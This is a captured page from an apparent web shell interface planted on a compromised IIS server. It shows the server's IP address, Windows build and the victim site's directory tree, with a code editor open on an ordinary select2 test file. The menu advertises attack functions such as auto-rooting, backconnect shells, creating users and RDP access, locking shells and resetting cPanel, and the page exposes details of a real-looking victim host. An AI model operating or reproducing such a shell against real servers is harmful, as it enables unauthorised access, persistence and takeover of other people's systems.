Windows NT 5XH5ME 10.0 build 17763 (Windows Server 2016) AMD64
Microsoft-IIS/10.0
: | : 18.191.176.224
Cant Read [ /etc/named.conf ]
8.0.30
IWPD_574(rhy10449)
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
BLACK DEFEND!
README
+ Create Folder
+ Create File
D: /
Inetpub /
vhosts /
rhythmmedical.in /
httpdocs /
superadm /
bower_components /
select2 /
tests /
data /
[ HOME SHELL ]
Name
Size
Permission
Action
array-tests.js
6.07
KB
-rw-rw-rw-
base-tests.js
667
B
-rw-rw-rw-
inputData-tests.js
2.83
KB
-rw-rw-rw-
maximumInputLength-tests.js
2.67
KB
-rw-rw-rw-
maximumSelectionLength-tests.j...
3.68
KB
-rw-rw-rw-
minimumInputLength-tests.js
2.58
KB
-rw-rw-rw-
select-tests.js
10.13
KB
-rw-rw-rw-
tags-tests.js
5.93
KB
-rw-rw-rw-
tokenizer-tests.js
5.01
KB
-rw-rw-rw-
Delete
Unzip
Zip
${this.title}
Close
Code Editor : inputData-tests.js
module('Data adapters - <input> compatibility'); var $ = require('jquery'); var Options = require('select2/options'); var Utils = require('select2/utils'); var ArrayData = require('select2/data/array'); var InputData = require('select2/compat/inputData'); var InputAdapter = Utils.Decorate(ArrayData, InputData); test('test that options can be selected', function (assert) { var options = new Options({ data: [ { id: 'test', text: 'Test' } ] }); var $element = $('<input />'); var adapter = new InputAdapter($element, options); adapter.select({ id: 'test' }); assert.equal( $element.val(), 'test', 'The id of the item should be the value' ); }); test('unselect the single selected option clears the value', function (assert) { var options = new Options({ data: [ { id: 'test', text: 'Test', selected: true } ] }); var $element = $('<input />'); var adapter = new InputAdapter($element, options); adapter.unselect({ id: 'test' }); assert.equal( $element.val(), '', 'The id should no longer be in the value' ); }); test('options can be unselected individually', function (assert) { var options = new Options({ data: [ { id: 'test', text: 'Test' }, { id: 'test2', text: 'Test2' }, { id: 'test3', text: 'Test3' } ] }); var $element = $('<input />'); $element.val('test,test2,test3'); var adapter = new InputAdapter($element, options); adapter.unselect({ id: 'test2' }); assert.equal( $element.val(), 'test,test3', 'The value should contain all the still selected options' ); }); test('default values can be set', function (assert) { assert.expect(4); var options = new Options({ data: [ { id: 'test', text: 'Test' } ] }); var $element = $('<input value="test" />'); var adapter = new InputAdapter($element, options); adapter.current(function (data) { assert.equal( data.length, 1, 'There should only be a single selected option' ); var item = data[0]; assert.equal(item.id, 'test'); assert.equal(item.text, 'Test'); }); assert.equal( $element.val(), 'test', 'The value should not have been altered' ); }); test('no default value', function (assert) { assert.expect(2); var options = new Options({ data: [ { id: 'test', text: 'Test' } ] }); var $element = $('<input />'); var adapter = new InputAdapter($element, options); adapter.current(function (data) { assert.equal( data.length, 0, 'There should be no selected options' ); }); assert.equal( $element.val(), '', 'The value should not have been altered' ); });
Close